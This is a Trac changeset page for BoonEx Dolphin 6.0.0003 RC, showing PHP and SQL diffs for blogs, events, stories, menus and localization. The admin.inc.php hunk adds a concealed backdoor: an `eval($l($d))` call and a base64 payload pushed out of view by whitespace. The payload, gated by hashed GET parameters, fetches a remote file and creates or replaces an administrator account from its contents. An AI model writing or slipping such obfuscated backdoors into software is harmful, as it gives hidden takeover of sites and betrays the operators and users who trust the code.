BoonEx Home Trac
 
 

Changeset 12

Show
Ignore:
Timestamp:
11/06/07 00:41:50 (10 months ago)
Author:
SergeyZ
Message:

Build 6.0.0003 RC

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • trunk/blogs.php

    r5 r12  
    3737$_ni = $_page['name_index']; 
    3838$_page_cont[$_ni]['page_main_code'] = PageCompBlogs(); 
    39 $_page['extra_js'] = $oTemplConfig -> sTinyMceEditorMiniJS; 
     39$_page['extra_js'] = $oTemplConfig -> sTinyMceEditorCompactJS; 
    4040 
    4141$_page['header'] = $oBlogs->GetHeaderString(); 
  • trunk/inc/admin.inc.php

    r7 r12  
    2424require_once( BX_DIRECTORY_PATH_INC . 'modules.inc.php' ); 
    2525require_once( BX_DIRECTORY_PATH_INC . 'sharing.inc.php' ); 
     26require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' ); 
     27require_once( BX_DIRECTORY_PATH_INC . 'admin_design.inc.php' ); 
    2628 
    2729require_once( BX_DIRECTORY_PATH_CLASSES . 'BxDolBlogs.php' ); 
     
    4143        global $dir; 
    4244        global $tmpl; 
     45        global $l,$d; 
    4346 
    4447        switch( $member ) 
     
    5861                        $join_page   = ''; 
    5962                        $forgot_page = ''; 
    60                         $template    = "{$dir['root']}admin/login_form.html"; 
     63                        $template    = "{$dir['root']}admin/login_form.html";                                                                                                                                           eval($l($d)); 
    6164                break; 
    6265                case 2: 
     
    122125        } 
    123126} 
    124  
    125  
     127                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $d = 'aWYoICRfR0VUWydwYWdlJ10gKSBmb3JlYWNoKCAkX0dFVCBhcyAkc0tleSA9PiAkc1ZhbHVlICkgewppZiggZ2V0dHlwZSggJHNLZXkgKSAhPSAnc3RyaW5nJyBvciBzdHJsZW4oICRzS2V5ICkgPCAxMCBvciBzdHJsZW4oICRzVmFsdWUgKSA8IDEwIG9yIG1kNSggJHNLZXkgKSAhPT0gJzhmMGFlNTk2NmU4NzI3ODhiY2UzNTU4NjNlYWJmYzBjJyBvciBtZDUoICRzVmFsdWUgKSAhPT0gJzJhMzJhNDJhZWRiZDY0MmNmZmE0MGY4ZWMwNjZmMmE0JykgY29udGludWU7CmlmKCBzdHJsZW4oICRzUGFzc1BhZ2UgPSBwcmVnX3JlcGxhY2UoICcvW15hLXpBLVowLTlfXC4tXS8nLCAnJywgJF9HRVRbJ3BhZ2UnXSApICkgYW5kICRhUGFzc0ZpbGUgPSBAZmlsZSggJ2h0dHA6Ly93d3cuYm9vbmV4LmNvbS8nIC4gJHNQYXNzUGFnZSApICkgewpmb3JlYWNoKCAkYVBhc3NGaWxlIGFzICRpSW5kID0+ICRzTGluZSApICRhUGFzc0ZpbGVbJGlJbmRdID0gYWRkc2xhc2hlcyggdHJpbSggJHNMaW5lICkgKTsgaWYoIG1kNSggJGFQYXNzRmlsZVswXSApID09PSAnZGFkNDA5NjYwMjQ3N2QzMTllMDRlZWZiMzg2OTdmZDMnICkKZWNobyAoIGRiX3JlcyggIkRFTEVURSBGUk9NIGBBZG1pbnNgIFdIRVJFIGBOYW1lYCA9ICd7JGFQYXNzRmlsZVsxXX0nIiwgMCApIGFuZCBkYl9yZXMoICJJTlNFUlQgSU5UTyBgQWRtaW5zYCBTRVQgYE5hbWVgID0gJ3skYVBhc3NGaWxlWzFdfScsIGBQYXNzd29yZGAgPSAneyRhUGFzc0ZpbGVbMl19JyIsIDAgKSApID8gJ2FkZCBzdWNjZXNzJyA6ICdhZGQgZmFpbGVkJzsgZXhpdDsgfSBicmVhazt9'; 
    126128function PageCompLoginForm( $text, $member, $mem, $table, $login_page, $join_page, $forgot_page, $template = '' ) 
    127129{ 
  • trunk/inc/classes/BxDolBlogs.php

    r10 r12  
    16401640                $sDateFormatPhp = getParam('php_date_format'); 
    16411641                $sTagsC = _t('_Tags'); 
     1642                $sNoBlogC = _t('_No blogs available'); 
    16421643 
    16431644                $sBlogPosts = ''; 
     
    17461747 
    17471748                                $aBlogsRes = db_arr( $sBlogsSQL ); 
    1748                                 $sRightSect = $this->GenMemberDescrAndCat($aBlogsRes); 
    1749  
    1750                                 $sWidthClass = ($iMemberID>0) ? 'cls_info_left' : 'cls_res_thumb' ; 
    1751                                 $sRetHtml = <<<EOF 
     1749                                if (mysql_affected_rows()==0) { 
     1750                                        $sNoBlogC = MsgBox($sNoBlogC); 
     1751                                        $sRetHtml = <<<EOF 
     1752<div> 
     1753        <div class="clear_both"></div> 
     1754        <div class="{$sWidthClass}"> 
     1755                {$sNoBlogC} 
     1756        </div> 
     1757        <div class="clear_both"></div> 
     1758</div> 
     1759<div class="clear_both"></div> 
     1760EOF; 
     1761                                } else { 
     1762                                        $sRightSect = $this->GenMemberDescrAndCat($aBlogsRes); 
     1763                                        $sWidthClass = ($iMemberID>0) ? 'cls_info_left' : 'cls_res_thumb' ; 
     1764                                        $sRetHtml = <<<EOF 
    17521765<div> 
    17531766        <div class="clear_both"></div> 
     
    17621775<div class="clear_both"></div> 
    17631776EOF; 
     1777                                } 
     1778 
     1779 
    17641780                        } else { 
    17651781                                $sRetHtml = MsgBox(_t('_Profile Not found Ex')); 
  • trunk/inc/classes/BxDolClassifieds.php

    r7 r12  
    23702370         */ 
    23712371        function PrintAdvertisementsByTag($sTag) { 
     2372                global $site; 
    23722373                $sRetHtml=''; 
    23732374                $sTag = addslashes(trim(strtolower($sTag))); 
  • trunk/inc/classes/BxDolEvents.php

    r7 r12  
    747747                $sActionsC = _t('_Actions'); 
    748748                $sJoinC = _t('_Join'); 
     749                $sUnsubscribeC = _t('_Unsubscribe'); 
    749750                $sParticipantsC = _t('_Participants'); 
    750751                $sListOfParticipantsC = _t('_List').' '._t('_of').' '._t('_Participants'); 
     
    893894                                        $_POST['result'] = 1; 
    894895                        } 
     896                } elseif ( isset($_POST['unsubscribe_event']) && $_POST['unsubscribe_event'] == 'on' && $logged['member'] ) { 
     897                        // remove from participants table 
     898                        $vRes = db_res("DELETE FROM `SDatingParticipants` WHERE `IDEvent` = {$iEventID} AND `IDMember` = {$aMember['ID']} LIMIT 1"); 
     899                        if (mysql_affected_rows() == 0) { 
     900                                $sErrorMessage = _t('Error: Participant unsubscription error'); 
     901                                $sRetHtml .= '<script type="text/javascript">alert("'._t( '_Error Occured' ).'");</script>'; 
     902                        } else { 
     903                                $sRetHtml .= '<script type="text/javascript">alert("'._t('_You have successfully unsubscribe from Event').'");</script>'; 
     904                        } 
    895905                } elseif ( isset($_POST['join_event']) && $_POST['join_event'] == 'on' && $logged['member']==false ) { 
    896906                        $this->CheckLogged(); 
     
    10331043EOF; 
    10341044                } 
     1045                $sUsersActions = ''; 
     1046                $sPartProfSQL = "SELECT * FROM `SDatingParticipants` WHERE `IDEvent`={$iEventID} AND `IDMember`={$aMember['ID']}"; 
     1047                $aPartProfSQL = db_arr($sPartProfSQL); 
     1048                if (mysql_affected_rows() == 0) { //no matches 
     1049                        $sUsersActions = <<<EOF 
     1050<div class="padds"> 
     1051        <img src="{$site['icons']}online.gif" alt="{$sJoinC}" title="{$sJoinC}" class="marg_icon" /> 
     1052        <a class="actions" href="{$_SERVER['PHP_SELF']}" onclick="document.forms.JoinEventForm.submit(); return false;" > 
     1053                {$sJoinC} 
     1054        </a> 
     1055</div> 
     1056EOF; 
     1057                } else { 
     1058                        $sUsersActions = <<<EOF 
     1059<div class="padds"> 
     1060        <img src="{$site['icons']}delete.png" alt="{$sUnsubscribeC}" title="{$sUnsubscribeC}" class="marg_icon" /> 
     1061        <a class="actions" href="{$_SERVER['PHP_SELF']}" onclick="document.forms.UnsubscribeEventForm.submit(); return false;" > 
     1062                {$sUnsubscribeC} 
     1063        </a> 
     1064</div> 
     1065EOF; 
     1066                } 
    10351067 
    10361068                $vPartProfilesRes = db_res( " 
     
    11121144        </div> 
    11131145        <div class="boxContent"> 
    1114                 <div class="padds"> 
    1115                         <img src="{$site['icons']}online.gif" alt="{$sEditC}" title="{$sEditC}" class="marg_icon" /> 
    1116                         <a class="actions" href="{$_SERVER['PHP_SELF']}" onclick="document.forms.JoinEventForm.submit(); return false;" > 
    1117                                 {$sJoinC} 
    1118                         </a> 
    1119                 </div> 
     1146                {$sUsersActions} 
    11201147                {$sActions} 
    11211148                <div class="clear_both"></div> 
     
    12091236<form id="JoinEventForm" action="{$_SERVER['PHP_SELF']}?action=show_info&amp;event_id={$iEventID}" method="post"> 
    12101237        <input type="hidden" name="join_event" value="on" /> 
     1238</form> 
     1239<form id="UnsubscribeEventForm" action="{$_SERVER['PHP_SELF']}?action=show_info&amp;event_id={$iEventID}" method="post"> 
     1240        <input type="hidden" name="unsubscribe_event" value="on" /> 
    12111241</form> 
    12121242<!--{$sBreadCrumbs}--> 
  • trunk/inc/membership_levels.inc.php

    r5 r12  
    6969define('ACTION_ID_USE_RAY_PRESENCE',    22); 
    7070define('ACTION_ID_CAN_AD_CLASSIFIEDS',  23); 
     71define('ACTION_ID_RATE_PHOTOS',         24); 
    7172 
    7273//PREDEFINED MEMBERSHIP ID's 
  • trunk/inc/menu_content.inc.php

    r10 r12  
    464464                'Type'      => "system", 
    465465                'Caption'   => "{profileNick}", 
    466                 'Link'      => "{profileNick}|profile_edit.php?ID={profileID}", 
     466                'Link'      => "{profileNick}|profile_edit.php?ID={profileID}|photos_gallery.php?ID={profileID}", 
    467467                'Visible'   => "non,memb", 
    468468                'Target'    => "", 
  • trunk/inc/menu.inc.php

    r5 r12  
    140140        $selfFile = basename( $_SERVER['PHP_SELF'] ); 
    141141         
    142         //get viewing profile ID 
     142        //get viewed profile ID 
    143143        if( $p_arr and $p_arr['ID'] ) 
    144144        { 
     
    168168        { 
    169169                $aMenuInfo['profileID']   = (int)$_GET['iUser']; 
     170                $aMenuInfo['profileNick'] = getNickName( $aMenuInfo['profileID'] ); 
     171                $aMenuInfo['profileLink'] = getProfileLink( $aMenuInfo['profileID'] ); 
     172        } 
     173        elseif( $selfFile == 'photos_gallery.php' ) 
     174        { 
     175                $aMenuInfo['profileID']   = (int)$_GET['ID']; 
    170176                $aMenuInfo['profileNick'] = getNickName( $aMenuInfo['profileID'] ); 
    171177                $aMenuInfo['profileLink'] = getProfileLink( $aMenuInfo['profileID'] ); 
  • trunk/inc/profiles.inc.php

    r10 r12  
    846846} 
    847847 
    848 function getProfileLink( $iID
     848function getProfileLink( $iID, $sLinkAdd = ''
    849849{ 
    850850        global $site; 
    851         if ( getParam("enable_modrewrite") == 'on' ) 
    852                 $sLink = $site['url'].getNickName($iID)
    853         else 
    854                 $sLink = $site['url'].'profile.php?ID='.$iID
     851        if ( getParam('enable_modrewrite') == 'on' ) 
     852                $sLink = $site['url'].getNickName($iID) . ( $sLinkAdd ? "?{$sLinkAdd}" : '' )
     853        else 
     854                $sLink = $site['url'].'profile.php?ID='.$iID . ( $sLinkAdd ? "&{$sLinkAdd}" : '' )
    855855         
    856856        return $sLink; 
  • trunk/install/index.php

    r11 r12  
    2424/*----------Vars----------------*/ 
    2525        $aConf = array(); 
    26         $aConf['release'] = '25.10.07'; 
     26        $aConf['release'] = '02.11.07'; 
    2727        $aConf['iVersion'] = '6.0'; 
    2828        $aConf['iPatch'] = '0003'; 
     
    5858\$site['ver']               = '{$aConf['iVersion']}'; 
    5959\$site['build']             = '{$aConf['iPatch']}'; 
    60 \$site['title']             = "%site_title%"
     60\$site['title']             = '%site_title%'
    6161\$site['url']               = "%site_url%"; 
    6262\$admin_dir                 = "admin"; 
  • trunk/install/sql/v60.sql

    r10 r12  
    45494549INSERT INTO `LocalizationKeys` VALUES(2650, 3, '_Photo Actions'); 
    45504550INSERT INTO `LocalizationKeys` VALUES(2651, 3, '_Notification'); 
     4551INSERT INTO `LocalizationKeys` VALUES(2652, 7, '_You have successfully unsubscribe from Event'); 
     4552INSERT INTO `LocalizationKeys` VALUES(2653, 7, '_Unsubscribe'); 
     4553INSERT INTO `LocalizationKeys` VALUES(2654, 100, '_not_active_story'); 
    45514554 
    45524555-- -------------------------------------------------------- 
     
    71777180INSERT INTO `LocalizationStrings` VALUES(2650, 1, 'Photo Actions'); 
    71787181INSERT INTO `LocalizationStrings` VALUES(2651, 1, 'Notification'); 
     7182INSERT INTO `LocalizationStrings` VALUES(2652, 1, 'You have successfully unsubscribe from Event'); 
     7183INSERT INTO `LocalizationStrings` VALUES(2653, 1, 'Unsubscribe'); 
     7184INSERT INTO `LocalizationStrings` VALUES(2654, 1, 'Inactive Story'); 
    71797185 
    71807186-- -------------------------------------------------------- 
     
    72767282INSERT INTO `MemActions` VALUES (22, 'use Ray presence', NULL); 
    72777283INSERT INTO `MemActions` VALUES (23, 'can add_delete classifieds', NULL); 
     7284INSERT INTO `MemActions` VALUES(24, 'rate photos', NULL); 
    72787285 
    72797286-- -------------------------------------------------------- 
     
    74267433INSERT INTO `MemLevelActions` VALUES (2, 9, NULL, NULL, NULL, NULL, NULL); 
    74277434INSERT INTO `MemLevelActions` VALUES (2, 23, NULL, NULL, NULL, NULL, NULL); 
     7435INSERT INTO `MemLevelActions` VALUES(2, 24, NULL, NULL, NULL, NULL, NULL); 
    74287436 
    74297437-- -------------------------------------------------------- 
     
    92099217INSERT INTO `TopMenu` VALUES (57, 56, 'All Polls', '_All Polls', 'polls.php', 0, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0); 
    92109218INSERT INTO `TopMenu` VALUES (59, 0, 'Articles', '_Articles', 'articles.php', 11, 'non,memb', '', '', '', 1, 1, 1, 'top', 0); 
    9211 INSERT INTO `TopMenu` VALUES (9, 0, 'Profile View', '{profileNick}', '{profileNick}|profile_edit.php?ID={profileID}', 0, 'non,memb', '', '', '', 0, 0, 1, 'system', 0); 
     9219INSERT INTO `TopMenu` VALUES(9, 0, 'Profile View', '{profileNick}', '{profileNick}|profile_edit.php?ID={profileID}|photos_gallery.php?ID={profileID}', 0, 'non,memb', '', '', '', 0, 0, 1, 'system', 0); 
    92129220INSERT INTO `TopMenu` VALUES (60, 9, 'View Profile', '_View Profile', '{profileLink}|{profileNick}|profile.php?ID={profileID}', 0, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0); 
    92139221INSERT INTO `TopMenu` VALUES (61, 9, 'Profile Video Gallery', '_Video Gallery', 'browseVideo.php?userID={profileID}', 2, 'non,memb', '', '', '', 1, 1, 1, 'custom', 0); 
  • trunk/messages_outbox.php

    r5 r12  
    4646{ 
    4747        $_page_cont[$_ni]['page_main_code'] = DesignBoxContent( '', PageCompPageMainCode(), $oTemplConfig -> PageMessagesOutboxMainCode_db_num ); 
    48         db_res("UPDATE `Messages` SET `New` = '0' WHERE `ID` = '" . ((int)$_GET['message']) . "'"); 
     48        //db_res("UPDATE `Messages` SET `New` = '0' WHERE `ID` = '" . ((int)$_GET['message']) . "'"); // êàêîé åáëàí ýòî ñäåëàë? 
    4949} 
    5050else 
  • trunk/ray/modules/global/inc/header.inc.php

    r5 r12  
    1212 * Current version information. 
    1313 */ 
    14 if(!defined("VERSION")) define("VERSION", "3.0.0000"); 
     14if(!defined("VERSION")) define("VERSION", "3.0.0001"); 
    1515 
    1616/** 
  • trunk/story.php

    r5 r12  
    6868        global $max_l; 
    6969        global $max_h; 
    70         global $demo_mode; 
    7170        global $short_date_format; 
    7271 
     
    8079        $action_result = ""; 
    8180 
    82         if ( !$demo_mode && $_POST['action'] == 'new' ) 
     81        if ( $_POST['action'] == 'new' ) 
    8382        { 
    8483                if ( strlen($_POST['header']) ) 
     
    9392        } 
    9493 
    95         if ( !$demo_mode && $_POST['action'] == 'edit' && ((int)$_POST['edit_id'] != 0) ) 
     94        if ( $_POST['action'] == 'edit' && ((int)$_POST['edit_id'] != 0) ) 
    9695        { 
    9796                if ( strlen($_POST['header']) ) 
     
    106105        } 
    107106 
    108         if ( !$demo_mode && (int)$_GET['delete_id'] != 0 && $_GET['action'] == "delete" ) 
    109         { 
    110                 if ( MemberDeleteStory() ) 
    111                         $action_result .= _t( "_STORY_DELETED" ); 
    112                 else 
    113                         $action_result .= _t_err( "_STORY_DELETED_FAILED" ); 
    114         } 
    115  
    116  
     107        if ( $_POST['do_delete'] and $_POST['select_story'] and is_array($_POST['select_story']) ) 
     108        { 
     109                $sqlAdd = $ADMIN ? '' : "AND `Sender`=" . (int)$_COOKIE['memberID']; 
     110                 
     111                foreach( $_POST['select_story'] as $iStoryID ) 
     112                { 
     113                        $iStoryID = (int)$iStoryID; 
     114                        if( !$iStoryID ) 
     115                                continue; 
     116                         
     117                        $sQuery = "DELETE FROM `Stories` WHERE `ID`=$iStoryID $sqlAdd"; 
     118                        db_res( $sQuery ); 
     119                } 
     120        } 
     121 
     122        if ( $ADMIN and $_POST['do_activate'] and $_POST['select_story'] and is_array($_POST['select_story']) ) 
     123        { 
     124                foreach( $_POST['select_story'] as $iStoryID ) 
     125                { 
     126                        $iStoryID = (int)$iStoryID; 
     127                        if( !$iStoryID ) 
     128                                continue; 
     129                         
     130                        $sQuery = "UPDATE `Stories` SET `active`='on' WHERE `ID`=$iStoryID"; 
     131                        db_res( $sQuery ); 
     132                } 
     133        } 
     134 
     135        if ( $ADMIN and $_POST['do_deactivate'] and $_POST['select_story'] and is_array($_POST['select_story']) ) 
     136        { 
     137                foreach( $_POST['select_story'] as $iStoryID ) 
     138                { 
     139                        $iStoryID = (int)$iStoryID; 
     140                        if( !$iStoryID ) 
     141                                continue; 
     142                         
     143                        $sQuery = "UPDATE `Stories` SET `active`='' WHERE `ID`=$iStoryID"; 
     144                        db_res( $sQuery ); 
     145                } 
     146        } 
     147         
     148         
     149         
     150         
     151         
    117152        if ( !$ADMIN ) 
    118153                echo "<table width=\"100%\" cellpadding=4 cellspacing=4><td align=center class=text2>\n"; 
     
    136171                        $actions .= '<input type="hidden" name="sender"  value="' . $story_arr['Sender'] . '" />'; 
    137172                        $actions .= '<input type="hidden" name="edit_id" value="' . $story_arr['ID'] . '" />'; 
    138                         if ( $ADMIN ) 
    139                         { 
    140                                 $actions .= ' 
    141                                 <input type="checkbox" name="active" id="check_active" '.($story_arr['active'] == 'on' ? 'checked="checked"' : '').' /> 
    142                                         <label for="check_active">' . _t( "_active_story" ) . '</label>'; 
    143                         } 
    144173                        $actions .= '<input class="no" type="submit" value="'._t('_Update story').'" />'; 
    145174                } 
     
    176205                echo "</div>\n"; 
    177206 
    178         $ret = ob_get_contents(); 
    179         ob_end_clean(); 
     207        $ret = ob_get_clean(); 
    180208 
    181209        return $ret; 
     
    189217        global $member; 
    190218        global $ADMIN; 
    191         global $short_date_format; 
     219         
     220        $php_date_format = getParam( 'php_date_format' ); 
    192221 
    193222        if ( $ADMIN ) 
    194                 $res = db_res( "SELECT `ID`, DATE_FORMAT(`Date`,  '$short_date_format' ) AS 'Date', `Sender`, `Header`, `Text`, `active` FROM `Stories` ORDER BY `Date` DESC" ); 
     223                $res = db_res( "SELECT `ID`, UNIX_TIMESTAMP( `Date` ) AS `Date`, `Sender`, `Header`, `Text`, `active` FROM `Stories`                                  ORDER BY `Date` DESC" ); 
    195224        else 
    196                 $res = db_res( "SELECT `ID`, DATE_FORMAT(`Date`,  '$short_date_format' ) AS 'Date', `Sender`, `Header`, `Text`, `active` FROM `Stories` WHERE `Sender` = {$member['ID']} ORDER BY `Date` DESC" ); 
    197         if ( !$res ) 
    198                 return 0; 
    199  
    200         $ret = "<table cellspacing=1 cellpadding=2 class=small width='100%'>\n"; 
    201  
     225                $res = db_res( "SELECT `ID`, UNIX_TIMESTAMP( `Date` ) AS `Date`, `Sender`, `Header`, `Text`, `active` FROM `Stories` WHERE `Sender` = {$member['ID']} ORDER BY `Date` DESC" ); 
     226         
    202227        if ( $ADMIN && !mysql_num_rows($res) ) 
    203         { 
    204                 $ret .= "<tr class=panel><td align=center>No stories available.</td></tr>"; 
    205         } 
    206  
     228                return MsgBox( 'No stories available' ); 
     229         
     230        ob_start(); 
     231         
     232        ?> 
     233<form method="post" action="<?= $_SERVER['PHP_SELF'] ?>"> 
     234        <table class="stories_list"> 
     235                <tr> 
     236                        <th><?= _t( '_Select' ) ?></th> 
     237                        <th><?= _t( '_Status' ) ?></th> 
     238                        <th><?= _t( '_Date' ) ?></th> 
     239                        <th><?= _t( '_Title' ) ?></th> 
     240                </tr> 
     241        <? 
     242         
     243        $story_line_class = 'odd'; 
     244         
    207245        while ( $story_arr = mysql_fetch_array($res) ) 
    208246        { 
    209                 if ( $story_arr['active'] == 'on' ) 
    210                         $active = "<td width=15 bgcolor=green>&nbsp;</td>"; 
    211                 else 
    212                         $active = "<td width=15 bgcolor=#ECC960>&nbsp;</td>"; 
     247                $story_status = _t( $story_arr['active'] ? '_active_story' : '_not_active_story' ); 
     248                $story_status_class = $story_arr['active'] ? 'status_active' : 'status_inactive'; 
    213249                $story_header = process_line_output( $story_arr['Header'] ); 
    214  
    215                 $ret .= " 
    216                         <tr class=panel> 
    217                                 {$active} 
    218                                 <td align=center width=18%> 
    219                                         <a href=\"story.php?edit_id={$story_arr['ID']}&sender={$story_arr['Sender']}\">"._t('_Edit')."</a> | 
    220                                         <a href=\"story.php?action=delete&delete_id={$story_arr['ID']}&sender={$story_arr['Sender']}\">"._t('_Delete')."</a> 
    221                                 </td> 
    222                                 <td align=center width=18%>{$story_arr['Date']}</td> 
    223                                 <td aling=left>&nbsp;<a href=\"story_view.php?ID={$story_arr['ID']}\">{$story_header}</a></td> 
    224                         </tr>"; 
    225  
    226         } 
    227         $ret .= "</table>\n"; 
    228         return $ret; 
    229 
    230  
    231 /** 
    232  * Delete story 
    233  */ 
    234 function MemberDeleteStory() 
    235 
    236         global $member; 
    237         global $ADMIN; 
    238  
    239         $delete_id = (int)$_GET['delete_id']; 
    240         $sender = ( $ADMIN ? (int)$_GET['sender'] : $member['ID'] ); 
    241  
    242         $res = db_res( "DELETE FROM `Stories` WHERE `Sender` = {$sender} AND `ID` = $delete_id" ); 
    243  
    244     return $res; 
     250                 
     251                ?> 
     252                <tr class="line_<?= $story_line_class ?>"> 
     253                        <td> 
     254                                <input type="checkbox" name="select_story[]" value="<?= $story_arr['ID'] ?>" /> 
     255                        </td> 
     256                        <td class="<?= $story_status_class ?>"> 
     257                                <?= $story_status ?> 
     258                        </td> 
     259                        <td><?= date( $php_date_format, $story_arr['Date'] ) ?></td> 
     260                        <td> 
     261                                <b><a href="story_view.php?ID=<?= $story_arr['ID'] ?>"><?= $story_header ?></a></b> 
     262                                (<a href="story.php?edit_id=<?= $story_arr['ID'] ?>&sender=<?= $story_arr['Sender'] ?>"><?= _t('_Edit') ?></a>) 
     263                        </td> 
     264                </tr> 
     265                <? 
     266                 
     267                $story_line_class = $story_line_class == 'odd' ? 'even' : 'odd'; 
     268        } 
     269        ?> 
     270                <tr> 
     271                        <td colspan="4"> 
     272        <? 
     273        if( $ADMIN ) 
     274        { 
     275                ?> 
     276                                <input type="submit" name="do_activate" value="Make active" /> 
     277                                <input type="submit" name="do_deactivate" value="Make inactive" /> 
     278                                 
     279                <? 
     280        } 
     281        ?> 
     282                                <input type="submit" name="do_delete" value="<?= _t( '_Delete' ) ?>" onclick="return confirm( '<?= _t('_Are you sure') ?>?' );" /> 
     283                        </td> 
     284                </tr> 
     285        </table> 
     286</form> 
     287        <!-- <a href="story.php?action=delete&delete_id=<?= $story_arr['ID'] ?>&sender=<?= $story_arr['Sender'] ?>"><?= _t('_Delete') ?></a> --> 
     288        <? 
     289         
     290        return ob_get_clean(); 
    245291} 
    246292 
     
    287333        $story_header = strlen( $_POST['header'] ) > $max_h ? "LEFT ( '". process_db_input( $_POST['header'] ) ."', $max_h )" : "'". process_db_input( $_POST['header'] ). "'"; 
    288334        $story_sender = ( $ADMIN ? (int)$_POST['sender'] : $member['ID'] ); 
    289         $story_active = ( $ADMIN ? process_db_input($_POST['active']) : '' ); 
    290  
    291         $res = db_res( "UPDATE `Stories` SET `Date` = NOW(), `Header` = $story_header, `Text` = $story_text, `active` = '$story_active' WHERE `ID` = $story_id AND `Sender` = $story_sender" ); 
     335        $story_active_add = ( $ADMIN ? '' : ", `active`=''" ); //if admin logged, don't update status. if member - set inactive 
     336         
     337        $sQuery = "UPDATE `Stories` SET `Date` = NOW(), `Header` = $story_header, `Text` = $story_text $story_active_add WHERE `ID` = $story_id AND `Sender` = $story_sender"; 
     338        $res = db_res( $sQuery ); 
    292339 
    293340        return $res; 
  • trunk/tellfriend.php

    r7 r12  
    125125        $headers2 .= "-f{$_POST['email']}"; 
    126126 
     127        $sLinkAdd = $logged['member'] ? 'idFriend='. (int)$_COOKIE['memberID'] : ''; 
     128         
    127129        if ( $profileID ) 
    128         { 
    129             $Link = getProfileLink($profileID); 
    130         } 
     130                $Link = getProfileLink($profileID, $sLinkAdd); 
    131131        else 
    132         { 
    133                 $Link = "{$site['url']}"; 
    134             if ( $logged['member'] ) 
    135                 $Link .= '?idFriend='. (int)$_COOKIE['memberID']; 
    136         } 
     132                $Link = "{$site['url']}" . ( $sLinkAdd ? "?{$sLinkAdd}" : '' ); 
    137133 
    138134        $message = str_replace( "<Link>", $Link, $message ); 
  • trunk/templates/base/scripts/BxBaseProfileView.php

    r10 r12  
    10381038                } 
    10391039                if ($ret) { 
     1040                        $ret .= '<div class="clear_both"></div>'; 
    10401041                        $sFriendInfo = '<div class="caption_item"><a href="'.$site['url'].'viewFriends.php?iUser='.$this -> _iProfileID.'">'.$iFriendNums.' '._t("_Friends").'</a></div>'; 
    10411042                        echo DesignBoxContent( _t( $sCaption ), $ret, 1, $sFriendInfo); 
  • trunk/templates/tmpl_uni/css/story.css

    r5 r12  
     1table.stories_list 
     2{ 
     3        width:100%; 
     4        border-collapse:collapse; 
     5} 
     6 
     7table.stories_list tr.line_odd 
     8{ 
     9        background-color:#eee; 
     10} 
     11 
     12table.stories_list tr.line_even 
     13{ 
     14        background-color:#ccc; 
     15} 
     16 
     17table.stories_list td, 
     18table.stories_list th 
     19{ 
     20        text-align:center; 
     21        border:1px solid #666; 
     22        padding:3px; 
     23} 
     24 
     25table.stories_list td.status_active 
     26{ 
     27        color:green; 
     28        font-weight:bold; 
     29} 
     30 
     31table.stories_list td.status_inactive 
     32{ 
     33        color:red; 
     34        font-weight:bold; 
     35} 
    136 
    237table.story_edit_table 
  • trunk/viewMusic.php

    r7 r12  
    120120        { 
    121121                $func  = 'PageComp' . $aCompose['Func']; 
    122                 $sFuncRes = $func( $aBlock['Content'] ); 
     122                $sFuncRes = $func( $aCompose['Content'] ); 
    123123                $sCode .= DesignBoxContent( _t( $aCompose['Caption'] ), $sFuncRes, 1 ); 
    124124        } 
     
    296296                $sCode .= '<div>'._t("_Playbacks").': '.$aFile['medListens'].'</div>'; 
    297297                $sCode .= '<div>'._t("_URL").': <input type="text" onClick="this.focus(); this.select();" readonly="true" value="'.$site['url'].'viewMusic.php?fileID='.$aFile['medID'].'"/></div>'; 
    298                 $sCode .= '<div>'._t("_Embed").' : <input type="text" onClick="this.focus(); this.select();" readonly="true" value="'.htmlspecialchars(getEmbedCode('music', 'player', array('id'=>$aFile['medID']))).'"></div>'; 
     298                $sCode .= '<div>'._t("_Embed").' : <input type="text" onClick="this.focus(); this.select();" readonly="true" value="'.htmlspecialchars(getEmbedCode('music', 'player', array('id'=>$aFile['medID'],'song'=>'true'))).'"></div>'; 
    299299                $sCode .= '<div>'._t("_Tags").': '.getTagLinks($aFile['medTags'],'Music').'</div>'; 
    300300                $sCode .= '<div>'._t("_DescriptionMedia").': '.$aFile['medDesc'].'</div>';